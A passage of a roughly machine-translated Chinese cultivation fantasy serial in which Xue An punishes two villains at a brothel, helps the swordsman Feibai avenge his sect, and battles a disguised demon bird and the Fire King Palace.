    "Yes!" Cheng Hao nodded.


    Qinglong was overjoyed.


    As long as he leaves Xue An''s control, he can find a way to escape.


    But Xue An didn''t give him this opportunity at all.


    Raising his fist, he directly hit his Dantian.


    boom.


    A muffled sound came from Qinglong''s body.


    As if someone had pulled out his mouth, Qinglong''s momentum immediately began to vent, and the expression on his face became wilted and pale.


    "You...what did you do to me?" Qinglong screamed, like a girl after being ravaged.


    Xue An smiled faintly, "I didn''t do anything, just scrap your cultivation base!"


    "No! You devil, you..." Qinglong was going crazy.


    The results of his hard work were actually destroyed by this guy with a punch.


    Xue An said indifferently: "The devil? When you wantonly tortured the weaker than you, why don''t you call others the devil?"


    Qinglong was speechless.


    Zou Yi stepped forward at this time, grabbed Qinglong''s hair and walked to the next room.


    "No, no, I can give you whatever you want, please don''t do this... I was abused by my parents since I was a child, and then I was abused by the hostess when I entered the Xuanfeng Tower. This has created my personality. Please give me a chance! Xue An, I was wrong, please spare me!"


    Qinglong was extremely frightened, and shouted with horror on his face.


    Xue An listened to it, but only slowly raised his ears, and then smiled coldly.


    "You are abused, your character is extreme, haha! Is this the reason you abused and killed others casually? Now that you are afraid? Learn to repent? It''s a pity that it''s too late! Let''s go on!


    "Yes!" Zou Yi smiled, then leaned down and said to Qinglong who had froze with fright.


    "Boy, don''t worry, I have studied specifically, and I will definitely let you spend a good night!"


    With that, he dragged him into the next room.


    When the door was closed, Qinglong''s screams of killing pigs came after a while.


    "Do not����!"


    Xue An frowned.


    He has seen too many people like this, using his shadow to hurt others, but when it''s his turn, he feels like a puddle of mud.


    Xue An raised his hand, and an invisible light curtain enveloped the room.


    The screams suddenly disappeared.


    Then Xue Ancai turned around, looking at his face pale, with wet marks under his hips, and Zhu Lei, who had been scared to pee, smiled.


    "Hello! See you again!"


    Zhu Lei thumped and knelt on the ground and tremblingly said, "Xue...Master Xue, please forgive me!"


    Xue An''s smile grew colder, "Betrayed her junior sister in exchange for power, and watched her being abused, but now she is embarrassed to come to beg for mercy?


    Zhu Lei was so scared that he was shaking like chaff, "I..."


    "You are more hateful than that Qinglong! Sun Ling!"


    "in!"


    "give it to you!"


    "Yes!"


    Sun Ling stepped forward with a sneer, with a flash of knife in his hand, and directly cut Zhu Lei''s vocal cords off, blocking his screams, and then said: "You are a man? I feel ashamed!"


    With that, he pulled Zhu Lei, who was already stiff in fright, and walked to the other room.


    Murderers are always killed, and abusers are always abused.


    This is called retribution.

 Chapter 476： Peach and plum spring breeze 1 glass of wine, Jianghu Yeyu 10 years light.

    Xue An took out two condensed bottles of Tianyuan and poured them into Zhu Ruyan and Lu Xunxue.


    This thing is better than building Jidan, it is simply a magic medicine for curing diseases and strengthening the body.


    After a while.


    Zhu Ruyan was the first to return to normal, and as soon as he turned over, he sat up, and ran over to the senior sister Lu Xunxue.


    At this moment, Lu Xunxue''s face was pale, the half of his left arm had been dissected out of bones by Qinglong, and the shoulder injuries were extremely serious.


    Although Tianyuan was instilled, it was impossible for such a serious injury to heal in a moment.


    Zhu Ruyan burst into tears, choked and said, "Senior Sister."


    Lu Xunxue chuckled and shook her head, "Don''t call me Miss Lu?"


    Zhu Ruyan cried even more sadly, "Sister, I''m sorry, in the morning I thought you and Zhu Lei were in the same sex."


    "In fact, in the morning, I really want to persuade you to come!"


    "Stop talking, Senior Sister, I''m sorry!" Zhu Ruyan cried and said.


    Lu Xunxue smiled, then raised her head to look at Xue An, her eyes a little complicated.


    "Mr. Xue..."


    Xue An nodded.


    He had a bad impression of this Lu Xunxue before.


    But what she did today has changed Xue An''s impression of her.


    "That Qinglong is the upper level of Xuanfeng Tower, if you kill him now, you will definitely offend Xuanfeng Tower..." Lu Xunxue said.


    Xue An just smiled, "It doesn''t matter if it is offended but not offended!"


    "Ok?"


    "Fire King Palace Xuanfeng Tower and the like... will soon cease to exist!" Xue An said lightly.


    This sentence made Lu Xunxue shocked, "Are you going to attack these two schools at the same time?"


    Xue An nodded.


    "How is this possible? The masters of these two sects are both extremely advanced and profound, and I heard that there are both golden immortals..."


    Lu Xunxue''s words could not continue.


    Because when she mentioned Jinxian''s cultivation base, Xue An''s eyes lit up.


    "Really? That''s great!" Xue An said with a smile.


    Lu Xunxue was almost inexplicable.


    Others will be afraid and panic when they hear that their opponent is a master of Jinxian cultivation base.


    Only Xue An seemed very happy.


    At this time, Zhu Ruyan was also looking at Xue An with complicated eyes, and An Yan standing behind Xue An.


    Her eyes were full of scrutiny and criticality at first.


    But after watching it for a while, these faults gradually turned into appreciation and shame.


    Zhu Ruyan finally understood.


    Why did Xue An feel like an arrow at the beginning, and never swear by himself.


    Because An Yan crushes herself in terms of appearance and temperament.


    Compared with her, everything she is proud of can''t be done at all.


    Thinking about it, Zhu Ruyan couldn''t help feeling a little sad.


    At this time An Yan led the two little girls over and said with a smile.


    "Are you sister Ruyan?"


    Zhu Ruyan was stunned, looked at An Yan blankly, and nodded.


    "I hear my husband often mention you, in order to avenge the family, committed to the land of fireworks for many years, this sounds so cool! I admire you! Let''s make friends!" Then, An Yan stretched out his hand and smiled. Looking at Zhu Ruyan.


    Zhu Ruyan stretched out his hand blankly and shook it gently.


    Lu Xunxue''s injury at this time had already healed a lot, and she couldn''t help but shook her head slightly when she saw this scene.


    She was completely dissatisfied with this unrequited love affair with her junior sister.


    Because just by Anyan''s demeanor, it has surpassed the average person too much.


    What does Zhu Ruyan fight against others?


    Such a loud noise naturally attracted the attention of Ning Xiaolou.


    The old bustard stared at the stairway, but he did not dare to come over.


    Xue An beckoned, "Come here!"


    The old bust trembled with fright, and quickly walked over, "Big...what''s your command?"


    "Get some banquets here!"


    "Yes!" The old bust saw the blood all over the floor, and his legs were trembling with fright, so he forgot to ask where Master Qinglong and Zhu Lei had gone.


    As a large brothel, it is very simple to prepare a few banquets.


    But with a cup of tea, some beautiful women came up with a variety of exquisite dishes.


    This scene also made everyone in Fire Phoenix look stupid.


    The old bust leaned over and whispered: "My lord, do you think these girls are still satisfied?"


    Xue An couldn''t help crying and laughing. Is this taking people like himself as a pleasure seeker?


    However, Xue An was too lazy to reject the shining eyes of the people watching the Fire Phoenix, nodded and said: "Okay, it''s them!"


    When the banquet was placed, Cheng Hao and others dared not pass.


    Xue An said: "Go and eat, after running for so long, eat something first."


    Hearing what he said, Cheng Hao and others dared to sit down and eat.


    When many girls saw this scene, they knew that Xue An was the head of the family, and they all flirted.


    But when An Yan turned around and stood behind Xue An.


    The flattering of these women all turned into embarrassment.


    There was a clean banquet alone, and Xue An took the family and Zhu Ruyan, Lu Xunxue and others to sit down.


    The dishes taste good.


    The key is that there is a steaming copper hot pot in the middle of the table.


    Kunlun City at this moment is already cold winter.


    Eating hot hot pot in this cold winter night is simply a treat.


    However, because of the serious injury, Lu Xun Xuezhu and Ruyan couldn''t eat too much.


    It''s the two little girls eating happily.


    While eating, they saw Zou Yi and Sun Ling walking out in new clothes, and nodded at Xue An imperceptibly.


    Xue An smiled slightly, "Let''s go eat!"


    The two sat down to eat.


    Zhu Ruyan suddenly asked at this moment: "Are the two of them... dead?"


    Xue An smiled slightly, did not respond, but looked up at the scenery outside the broken window.


    "Look, it''s snowing!"


    Everyone turned to look.


    really.


    The night sky, which was still clear just now, was already obscured by the moonlight by dark clouds, and the snow flakes fell, quickly making the world pure.


    This beautiful snow scene calmed down the noisy crowd.


    Xue An raised a glass in his hand and said lightly: "Peaches, plums, spring breeze, a glass of wine, ten years of rain in the rivers and lakes! Killing the wicked is kindness, you should understand this! Otherwise, I will pass your practice, it is a waste!"


    Zhu Ruyan was shocked, got up and left his seat, and said respectfully: "My lord, I am not foolish, I am afraid, but they will not die!"


    Xue An laughed loudlyOkay! This is just a son and daughter of the world! Don''t worry, they are in my hands now! "


    With that, Xue An opened his palms.


    Two groups of Guanghua hovered in his hands.


    One big and one small, one strong and one weak.


    Vaguely can still hear the screams and begging for mercy from Guanghua.


    Zhu Ruyan looked at these two souls and was about to say something.


    Xue An suddenly shook it.


    The last trace of Qinglong and Zhu Lei''s existence in this world was completely obliterated.


    Then Xue An said lightly: "Are you full?"


    Cheng Hao and others got up and left their seats, "I''m full!"


    "Okay, let''s set off now! The King''s Hall of Slaughtering Fire, Xuanfeng Tower!!"


    "Yes!"

 Chapter 477： Snowstorm

    Feibai walked out of the inn and found that it was snowing outside.


    The snow on the ground has gone past the upper.


    There was no one on the street, not even a dog.


    In such weather, even beggars will find a place as warm as possible.


    Feibai took a deep breath, and the cold air suppressed his cough again.


    He clenched his sword, straightened his cloak, limped into the alley next to the inn, and proceeded along the route that had been explored.


    After going over several high walls in a row, Feibai could already see the brightly lit Xuanfeng Tower from a distance.


    He hid in a hidden corner with an abnormal flush of red on his face.


    Feibai knew that he was about to die.


    Three months ago, Xuanfenglou suddenly invaded Yujian Villa in the north of Kunlun. The owner of Wubocheng and twelve Yujian elders all died in battle.


    Yujian Villa was destroyed.


    In fact, at that time, he should have died.


    If it hadn''t been for Wu Bocheng and the people who led them to slay a **** road and send him out, Feibai could be sure that he would have to die at that time.


    Although he was not dead, he was also hit by the owner of Xuanfeng Tower and suffered extremely serious internal injuries.


    This internal injury continued and became more serious.


    Fei Bai''s mind couldn''t help but reflect the appearance of his master before his death.


    "Feibai, you must live! Yujian Villa''s inheritance of swordsmanship for more than a thousand years depends on you!"


    When he said this, Wu Bocheng had been seriously injured in more than a dozen places, and even the Tinghaijian that had accompanied him for a hundred years had been broken.


    But before he died, he thought about the inheritance of Yujian Villa.


    Thinking of this, Feibai smiled wryly.


    Master, the disciples are not filial, I can''t hold it anymore.


    But before he died, he had to do something.


    Over the past year or so, Ahan Palace was destroyed by the Fire King Palace, and many other schools have hardly survived.


    I heard that the great monk Yayoi burned his golden body at the last moment, used the world to destroy the Buddha Kingdom, and killed more than a dozen top masters in the Fire King Palace in one fell swoop.


    They all say that the Bodhisattva is compassionate, but at the last moment, isn''t this great monk the same angry?


    Feibai took a deep breath. The cold air made his chest feel better and dispelled all distracting thoughts.


    Master, wait for me, I am coming!


    Feibai slowly drew out the sword in his hand. His previous saber had been ruined, and now he used an iron sword that he bought from the forge for twenty taels of silver.


    Feibai held this iron sword, walked out of the shadows, and slowly walked towards the glorious Profound Wind Tower.


    The storm was frantic.


    The few people guarding the gate were also a little lazy at the moment.


    How could someone come to look for things in such weather?


    They leaned into the corner and chatted with each other.


    "The hostess recruited another young boy, and I heard that she was greasy and slippery!"


    "Tsk tusk, how many times is this this month?"


    "I heard that the previous ones are all dead, and their deaths are so miserable that they have all been sucked up!"


    "Sigh! Does the mother have such a big appetite?"


    They were discussing, Feibai held his breath, and came as close as possible.


    But his current cultivation base is inferior to a heavenly person, but after a dozen steps, the leaders of these people frowned.


    "There is a situation!"


    With that, he was about to get up and check.


    Just take advantage of it now!


    Feibai gritted his teeth, poured all his remaining cultivation base into his leg, jumped up suddenly, and stabbed the group of people.


    Although it was only a long sword made of ordinary iron, under Feibai''s full force, the sword still emitted a brilliant sword light.


    puff!


    The two soldiers on the outside had their throats cut directly by Jian Qi, and the dead bodies fell to the ground.


    But the leader was obviously not an ordinary person, so he snorted coldly when he drew his sword and slashed.


    There was a sound of gold and iron.


    The long sword in Feibai''s hand shattered.


    Then the boss deceived him, raised his knife and slashed.


    Feibai twisted his body abruptly, avoided the vital point, but let out his back.


    puff.


    This knife cut out a **** big cut on Feibai''s back.


    But the boss has not had time to be happy.


    Feibai had already drawn out a short sword, rushed into the boss''s arms with the remaining momentum, and then directly pierced into the boss''s heart.


    puff.


    The boss didn''t seem to believe that anyone would be so brave, he lowered his head and stared blankly at the sword stuck in his heart, then fell to the ground and died.


    The remaining soldiers all awoke from their consternation and rushed with their swords.


    Feibai left and right clumsy, relying on the last bit of strength to kill all the soldiers.


    But this also alarmed the people inside.


    Just listen to the noise and footsteps inside.


    However, Feibai had no strength anymore. He staggered and pulled out the dagger of the boss''s heart, leaning against the wall, breathing heavily.


    His throat was sweet, and he opened his mouth and vomited a big mouthful of blood.


    The blood splashed on the white snow, like a plum blossom in full bloom.


    Can I just insist on that?


    I just killed a few pawns who were guarding the door... I''m really unwilling!


    Feibai smiled bitterly, and the Xuantonglou man holding a sword appeared in his blurred vision.


    "It''s here!"


    "This man killed the gatekeeper!"


    "kill him!"


    In these shouts, Fei Bai''s consciousness gradually blurred.


    He knew he was going to die.


    But death cannot die in the hands of this group of people.


    So he raised his hand and prepared to slay himself.


    At this moment, a group of people walked out in the dark night.


    These people were all wearing weird clothes and rushed over immediately after seeing this scene.


    Feibai was still wondering.


    The next scene completely shocked him.


    The cultivation bases of these people who came here were high and low, but the highest was just Sanxian.


    But the tacit understanding of these people can be said to be seamless.


    Therefore, just one face, these people from the Profound Wind Tower didn''t even have the power to resist, they were killed.


    The leader came slowly, "Who are you?"


    "My name is Feibai, from Yujian Villa! Who are you?" Feibai asked, looking at the man.


    "We are here to slaughter the Xuanfeng Tower on the order of the instructor!"


    Instructor? Exterminate Xuanfeng Tower?


    Feibai was surprised, what else he wanted to say.


    I saw another man slowly walking out of the darkness.


    This man has a handsome face, a smile at the corners of his mouth, but his eyes are like the sea, which is unfathomable.


    Feibai trembled all over.


    The man smiled slightly Long time no see! "


    Feibai took a deep breath, "Xue An!"


    Xue An nodded, "Yes, it''s me!"


    Feibai suddenly didn''t know whether to cry or laugh.


    He is a very proud man. When he fought Xue An with swords, he was so radiant. Although he was defeated, he was still honored.


    But today, I am like a sick dog, dragging a lame leg and fighting with a bunch of soldiers here.


    The contrast in this situation left Feibai silent.


    Xue An seemed to see his thoughts and smiled faintly.


    "It''s such a coincidence, are you also here to destroy Profound Wind Tower?"


    Feibai was taken aback.


    Xue An continued: "Since it is, let''s get together!"

 Chapter 478： revenge

    Hearing these words, Feibai''s eyes lit up, but immediately dimmed again and smiled bitterly.


    "Yes, but I can''t go anymore! Mr. Xue, I want to ask you one thing!"


    Feibai paused, and took a few weak breaths, "I hope you can help me get rid of this Profound Wind Tower and avenge my hundreds of lives in Yujian Villa."


    After all, Feibai looked at Xue An with hopeful eyes.


    I didn''t want Xue An to listen, but actually shook his head slightly.


    Feibai''s heart gradually sank.


    At this time, Xue An said calmly: "Xuanfeng Tower is definitely going to be destroyed, but I can''t do anything to avenge you!"


    Feibai''s expression dimmed, just about to speak.


    Xue An went on to say: "If you really want to take revenge, you should do it! After all, this is your master''s grudge, I''m just an outsider."


    Feibai was a little dazed when he heard it, and said bitterly: "But my current situation may not survive tonight, how can I get revenge..."


    Before he finished speaking, he was stunned.


    Because Xue An spread out his hand, in the palm of his hand was a ball of light with a powerful force.


    "This is... the essence of blood?" Feibai whispered incredibly.


    Xue An nodded, "Yes, this is the essence of the whole body called Qinglong in Xuanfenglou."


    Qinglong!


    The name made Feibai''s eyes cold.


    Several pictures appeared in my mind.


    Several of his juniors were tortured to death by this Qinglong in front of him.


    Up to now, Fei Bai''s ears still echoed the cry of the junior sister, as well as the triumphant laughter of this Qinglong.


    Now his whole body''s blood has been turned into light group by Xue An.


    Don''t ask.


    This Qinglong must have died in Xue An''s hands.


    "From this man''s dirty soul, I saw a lot of unsightly pictures, including your Yujian Villa! I know you must hate him, so now I will give you his blood! You use mystery The essence of Fenglou dealt with them in turn, drinking and pecking, this is called revenge!" Xue An said lightly.


    Xue An''s words shocked Feibai''s body.


    At this time Xue An raised his hand.


    The ball of light flew directly into Fei Bai''s chest.


    Brilliance enveloped Feibai.


    Under this brilliance, the already dry meridians began to rejuvenate, and the injured organs began to heal.


    Even Feibai''s lame leg began to gradually recover under the nourishment of this longevity realm''s powerful blood.


    Of course, all this is extremely painful.


    But Feibai''s mouth showed a cheerful smile.


    If the pain can make him revenge, then let the pain come more violently.


    After a few clicks.


    Guanghua dissipated.


    Looking at the Feibai at this time, the momentum of the whole body began to rise steadily, and soon returned to the previous level, even slightly diligent.


    There was a strong and unparalleled sword aura rising from his body, and even cut the thick cloud.


    The moonlight spilled down from the opening, and the heavens and the earth shining brightly.


    Fei Bai''s face was solemn, and he knelt down on his knees.


    "Mr. here, Feibai will surely engrave the grace of reconstruction!"


    Xue An smiled and accepted his worship calmly.


    Then Feibai stood up and looked at the Xuanfeng Tower that had made a noise because of his sky-shattering sword aura, with an extremely indifferent expression.


    "Sir, please let me destroy this building!"


    Xue An stretched out his hand and made a polite gesture.


    Feibai slowly raised his right hand above his head.


    The qi between heaven and earth seemed to be affected by his actions, and even the falling snowflakes became horrified.


    The scenes of the past passed before Fei Bai''s eyes.


    Abandoned when he was a child, he was picked up by Wubocheng and adopted, learning swords, and walking in the arena.


    At that time, I began to be called a genius of kendo.


    Feibai once believed that he was indeed a genius in kendo.


    It wasn''t until he met Xue An at the trial meeting that he understood that there was someone outside.


    But he didn''t feel much at the time.


    Until the time after Yujian Villa was destroyed and left behind.


    Feibai understood a lot of truth.


    I thought everything was like a mirror, and it was irreversible.


    Unexpectedly, Xue An gave him another chance.


    This kind of experience like transformation made Feibai''s sword heart extremely clear.


    A faint smile appeared at the corner of his mouth.


    Then wave it off.


    With the drop of his right hand.


    A sword light that slashed the sky and the Jedi fell across the sky.


    Click!


    After a loud noise.


    This Xuanfeng Tower was directly divided into two.


    At the same time, even the dozen or so houses behind the Xuanfeng Tower were cut into two parts under the influence of Jian Qi.


    The power of this sword has broken through Feibai''s previous swordsmanship and has come to a brand new situation.


    Xue An couldn''t help but nodded slightly.


    From the return to the present, this Feibai swordsmanship is the purest he has ever seen.


    At this time, the wooden structure of Xuanfeng Tower slowly fell to both sides.


    Then in the wind and snow, crashed to the ground.


    "Who! I dared to kill my Profound Wind Tower!" A dozen figures rushed out, shouting angrily.


    The cultivation bases of these figures are basically Sanxian.


    Before Xue An could speak, Feibai said coldly: "Yujian Villa, Feibai! The gates of the Xuanfeng Building are all destroyed today!"


    After all, wave his hands repeatedly.


    More than a dozen brilliant sword lights passed by and rushed directly to these dozen people.


    The speed is so fast that these people have no time to react.


    But at this moment, a woman sighed faintly from a distance.


    With this sigh, a black light flew to it.


    Click.


    These sword lights were directly smashed by the black light.


    Then a woman in a red robe appeared in the field.


    "The hostess!"


    When these people in Xuanfeng Tower saw this woman, they all bend down and salute.


    The woman said indifferently: "I only went out for a few hours, and even the building was demolished. It''s really a bunch of rubbish!"


    The people in Xuanfeng Tower trembled.


    Then the woman said coldly at Feibai: "Aren''t the people of Yujian Villa yet to die?"


    With that said, dozens of black lights came directly from Feibai.


    Feibai has been staring at her since this woman appeared.


    The woman whose face seemed to be shrouded in a cloud of mist was the host of Xuanfeng Tower.


    It was also the culprit who destroyed Yujian Villa.


    It was the person Feibai wanted to kill most.


    Therefore, as soon as this black light appeared, Feibai did not retreat but moved forward, and his whole person turned into a sword of light, coming straight towards the woman.


    "Death!" The woman said coldly These black awns suddenly merged into one, becoming a black pointed cone, directly facing Feibai.


    boom.


    After a muffled sound.


    This black light was blown away.


    Fei Bai also snorted, and was knocked out several tens of meters, the lingering sword light flickered a few times and shattered with a snap.


    But at the same time, the host of Xuanfeng waved his robe sleeves, and a black light that was several times larger than before flew straight, and turned into a cold black needle in the air.


    Fei Bai''s face was pale, and he wanted to fight with all his sword energy.


    But compared with this mighty black light, his sword aura seemed weak.


    But just when this black mang was about to rush to Feibai.


    A slender hand appeared out of nowhere, directly holding this black light.

 Chapter 479： Mysterious bird

    This black mang was like a living creature, still struggling and twisting after being caught.


    Xue An''s palm pressed hard.


    Click.


    This black light uttered a mournful cry, then it was crushed to pieces and turned into black energy and dissipated.


    The hostess Xuanfeng snorted, and the mist that had originally enveloped her face disappeared, revealing a charming and enchanting face.


    But at this moment, her face was full of surprise and anger.


    "who are you?"


    Xue An smiled faintly, "Aren''t you always looking for me?"


    "You are Xue An!" The original poster Xuanfeng blurted out.


    Xue An nodded.


    The host Xuanfeng''s expression turned gloomy.


    She knew Xue An had returned, but she didn''t expect him to enter Kunlun City so soon.


    Didn''t I order someone to investigate it? Why is there no news at all?


    Are the guys in charge of inquiring news idiots?


    The original poster of Xuanfeng hated in his heart.


    "When I first heard the name Xuanfenglou, I was a little suspicious, until I saw you, I finally decided something."


    "What are you sure about?" Standing in the air, the host of Xuanfeng gradually increased her momentum, causing her hair to drift away.


    "You are not a human, but a demon!"


    Xue An''s indifferent words were like thunder, which made Feibai stunned.


    Demon?


    It''s not that Feibai has never been in contact with monsters, but he has never seen a monster that is as strong as the original poster of Xuanfeng and without a monster.


    The host of Xuanfeng''s face sank like water and he laughed.


    "Demon? What a joke, how could I be a demon? I am a dignified cultivator, but a golden immortal! Xue An, I admit that you have a good level of cultivation, but you and my Xuanfeng Tower will be yours in this life. The stupidest thing ever done! I..."


    Xue An yawned boredly and interrupted the host Xuanfeng, "Are you finished?"


    The original poster of Xuanfeng was taken aback.


    "You are not only a monster, but also a very stupid monster!"


    With that, Xue An disappeared in the same place, appeared directly on the top of the head of the original master Xuanfeng, and hit it with a punch.


    The original poster of Xuanfeng didn''t expect Xue An to be so fast, and he was smashed to the ground by this punch before he could react.


    boom.


    The snow on the ground is already a finger thick at this moment, and the ground of the landlord Xuanfeng has shaken the snow everywhere.


    The host of Xuanfeng roared, "Xue An, you..."


    Xue An flew over her head again and said lightly: "Not only is it stupid, but also a very noisy monster!"


    While speaking, Xue An smashed two punches one after another.


    The power of these two punches smashed the ground into a huge pit.


    The original poster of Xuanfeng was in the pit.


    And Xue An didn''t plan to let her go. She was still punching and falling.


    "Do you still refuse to show up? Then I will smash you and show up!" Xue An said lightly.


    This scene made Feibai and the people in Xuanfenglou dumbfounded.


    Feibai was surprised at Xue An''s current strength.


    Haven''t seen each other for only two years.


    At the beginning, Xue An, who had to go all out to deal with the Lord of the Immortal Palace, who was also the Golden Immortal, seemed calm and calm at the moment.


    It can be seen how much his strength has increased.


    This growth rate even made Feibai feel desperate.


    Could it be that he is already a golden fairy now?


    Feibai thought silently in her heart.


    The people in Xuanfeng Tower felt incredible.


    Since the appearance of Xuanfeng Tower, in the past more than a year, the hostess has never been defeated.


    Unexpectedly, Xue An was beaten today with no power to fight back.


    "Enough!" A shrill roar came from the big pit.


    Following this, there were black awns that filled the entire pit.


    Then I saw a huge monster that looked like a bird but not a bird appeared in the pit.


    Xue An stood by the side of the pit with his hands behind him, and smiled slightly: "It''s actually a blackened mysterious bird, it''s strange."


    Blackbird.


    A strange beast from ancient times.


    Unexpectedly, it appeared in Kunlun today, and it was still a blackened mysterious bird.


    "Xue An, whoever sees me will definitely die! You have to...Ah!" Xuanniao screamed, who was about to say a few scenes.


    Because Xue An didn''t know when he had appeared behind it, and at the same time he grabbed its wings made of black awns and let out a cold cry.


    "Get me up!"


    With that said, Xue An pulled the mysterious bird out of the pit.


    Only then did people see that it was a huge black bird, similar in shape to a phoenix, but smaller than a phoenix.


    And that black awn is actually its feathers.


    At this time, the black awns wandered and staggered in the sky, like a black chain, surrounding Xue An, and then the black awn suddenly rose up like an electric shock. The body suddenly became fluffy, showing countless smallness. The black mans.


    These black lights shot at Xue An, densely as if it had rained.


    Xue An couldn''t avoid it, just standing in the air so quietly, holding the Xuanniao''s wings in his hand.


    The black rain engulfed Xue An.


    Xuanniao laughed triumphantly, "Hehe, what an idiot, he actually took my black feather, I really don''t know how to write the dead word!"


    As soon as the words fell, white flames appeared in the black rain.


    Under the flames.


    The black rain was like Tangwoxue and disappeared quickly.


    Xuanniao''s complacency turned into trepidation.


    "How can you have this kind of flame, don''t..."


    Before the voice fell, it was picked up by Xue An and slammed heavily on the ground aside.


    boom.


    A big hole was smashed into the ground.


    The black light on Xuanniao''s body was smashed into pieces.


    But Xue An didn''t wait for it to breathe a sigh of relief, and he woke up again.


    Boom boom boom!


    Xue An was like a whip, smashing the ground with big pits everywhere, and the Xuanniao''s size was also smashed by more than half of his life, no more arrogance.


    "Served, served! Your lord, don''t smash it anymore!" Xuanniao shouted.


    "Come on, who sent you here?" Xue An let go, clapped his hands, and said lightly.


    Xuanniao shrank a bit It was really frightened by Xue An''s violence, "I don''t know what you mean?"


    "Huh?" Xue An raised his eyebrows slightly.


    "The mark on your body shows that you are from the Demon Realm, and your cultivation level should have been lifted up by the great power before you descended! Let me guess which Demon Realm is it? Vermilion Bird Realm? No, those guys. Everyone is so arrogant and won''t pay attention to a bird like you."


    "Phoenix Realm? That''s not right! The Phoenix and your profound birds were originally at odds, and you wouldn''t listen to them!"


    "Could it be... you are not sent by your birds, beasts and birds?"


    Every time Xue An said, the mysterious bird would tremble, and the look in Xue An''s eyes became extremely awe-inspiring when he looked behind.


    "Who are you, how can you know so much about the demon world?"


    "Me?" Xue An smiled faintly and turned to look at the darkness in the distance.


    "Hidden for so long, don''t you still show up?"

 Chapter 480： Are you worthy of making friends with me?

    Lai Shuo slowly walked out of the darkness.


    And behind him followed many subordinates.


    Xue An said lightly: "Fire King Palace?"


    Lai Shuo sneered, "Xue An, I admit that I underestimated you! I didn''t expect you to be so courageous that you dared to enter Kunlun on a snowy night and went directly to Xuanfeng Tower!"


    Then Lai Shuo lowered his head and looked at the embarrassed Xuanniao, and said with some sarcasm: "Master Xuanniao, it seems that you need my help very much now!"


    Xuanniao was embarrassed and annoyed, "Lai Shuo, don''t **** talk nonsense, save me quickly, or if it delays your affairs, you won''t even survive!"


    Hearing these words, Feibai murmured in the distance: "No wonder the Fire King Palace and Xuanfeng Tower have kept the well water in the river, it turns out they are all in the same group!"


    Lai Shuo sneered a few times, and raised his head arrogantly, "Xue An, this matter has nothing to do with you. Now that you are taking someone out of this secret realm, we will assume that nothing has happened. What do you think? "


    Xue An sighed slightly, and shook his head, "No!"


    Lai Shuo didn''t expect Xue An to refuse, and couldn''t help but widen his eyes, "You..."


    Xue An showed good-looking teeth and smiled sensibly, "Let me guess, why did you come to this secret realm while firmly controlling it? Do you want to wait for an opportunity to enter this world after gaining a firm foothold? What about the world?"


    Xue An��s words made Lai Shuo pale, "Xue An, don��t think we are afraid of you. The Xuanniao is just a pseudo-golden immortal. I am a real golden immortal. If you are interested, leave now, we can even still are friends!"


    Xue An lowered his eyes and was silent.


    Fei Bai''s heart raised her throat.


    He asked himself, if he was himself, what would he do in such a situation?


    Indeed, none of these things have anything to do with Xue An. As long as Xue An backs down, there will be nothing wrong between the two and even live a golden fairy friendship.


    And if you insist on not, that conflict is inevitable.


    This choice, as long as you are not a fool, will choose reconciliation.


    But if it is true, then the hope of revenge will be even thinner.


    Feibai is struggling.


    I saw Sun Ling who was standing by taking a deep breath, and said lightly: "Want our instructor to compromise? I really want to die!"


    Feibai looked at him in amazement.


    Sun Ling felt his gaze, turned his head and smiled at him, "It''s okay, just feel it!"


    After speaking, he threw away the cigarette **** in his hand, turned around and met Cheng Hao and the others, and then disappeared into the void.


    Cheng Hao and others knew that a big battle was inevitable.


    As Sun Ling said, Xue An couldn''t help laughing at what Lai Shuo said.


    "friend?"


    Lai Shuo nodded and said proudly: "Yes, and I can consider drawing a boundary in this Kunlun to give it to you!"


    Xue An shook his head, "I didn''t mean that, I mean, make friends with me, are you worthy?"


    As soon as this sentence came out, Lai Shuo''s face suddenly became pale.


    "Xue An, don''t toast or eat fine wine! I can tell you..."


    Xue An waved his hand, then stretched his waist, "Okay, stop talking nonsense! I''m a little tired! After solving you, I can sleep better!"


    Lai Shuo grinned back and gave Xuanniao a wink. One person and one demon violently violently attacked Xue An and hurt the killer.


    Lai Shuo''s fist was wrapped in a group of extremely condensed flames. The temperature was so high that the roasted air shook.


    As long as it reaches a point, it will definitely die.


    Xuanniao condensed all the black awns into a sharp claw, and the sharp blade carried a cold killing intent.


    Faced with such a fierce joint attack.


    Xue An only did two things.


    Raise your fist and drink lightly.


    "Mix, Yin, Yang!"


    Xue An now rarely reads his name when he does it.


    Because his gestures have great power.


    This punch is different.


    This is an advanced version of the second type of the six kills gods.


    The last yang character exit.


    Lai Shuo, who was already full of pride, discovered with horror that the flame on his fist suddenly became extremely cold.


    It was like being wrapped in a ball of ten thousand years of profound ice.


    Xuanniao found herself suddenly white.


    And as it turned white, all its cultivation bases receded like a frenzy.


    Frightened, it wanted to shout, but it was a few birdsong that came out.


    At this time, the power of this punch has just begun.


    I saw a cloud of gray air covering Lai Shuo and Xuanniao.


    Before the two of them could break free, their bodies were corroded by the dust.


    The black bird cried out, and the demon body collapsed.


    In contrast, Lai Shuo''s cultivation is more advanced. Although his body was trapped, his soul suddenly flew out, turned into streamer, and went straight to the northwest.


    "The remaining people, kill without mercy!" Xue An ordered, and chased after him.


    Cheng Hao and the others agreed and rushed directly to these people in the Fire King Hall of the Xuanfeng Tower.


    A melee slowly opened up.


    Feibai was stunned, and wanted to follow, but when the battle was too fierce in the field, he couldn''t help gritting his teeth, and a sword glow passed by. As a result, a person from the Profound Wind Tower was found, and then he joined the battle group.


    At this moment, Lai Shuo''s heart was full of panic, and Xue An''s shocking punch almost ended his life.


    Now he fled like a bereaved dog.


    But Xue An did not intend to let him go, and pursued him closely.


    After flying out for a few breaths, Xue An has already caught up.


    Lai Shuo was so scared that the souls of the dead, "Lord, help me!"


    As soon as the voice fell, his speed suddenly accelerated several dozen times, and he flew into the Fire King Palace not far away almost instantly.


    Then an ancient aura broke through the roof, and at the same time a deep voice came out.


    "Who... dare to kill my Fire King''s men?"


    Xue An stood outside with his hand, and smiled coldly, "Have you finally appeared? Fire Demon King!"


    There was silence in the Fire King Palace, and then a few sneers came, "I''m surprised, you actually know my name!"


    Speaking of The Palace of the King of Fire is like a candle under the scorching sun, gradually melting.


    The Vulcan statue that had been standing in the middle of the Fire King Hall came back to life, and its momentum began to rise steadily, and soon reached a frightening point.


    Xue looked quietly, without the slightest fear in his eyes, only excitement.


    That''s right.


    It''s the excitement after seeing the prey.


    In fact, when Xue An entered Kunlun City, he discovered the existence of the Fire Demon King.


    It''s just because its aura is so concealed that it didn''t find out where it was.


    The fire demon king was a little hairy when Xue An''s eyes were staring, and he couldn''t help but roar.


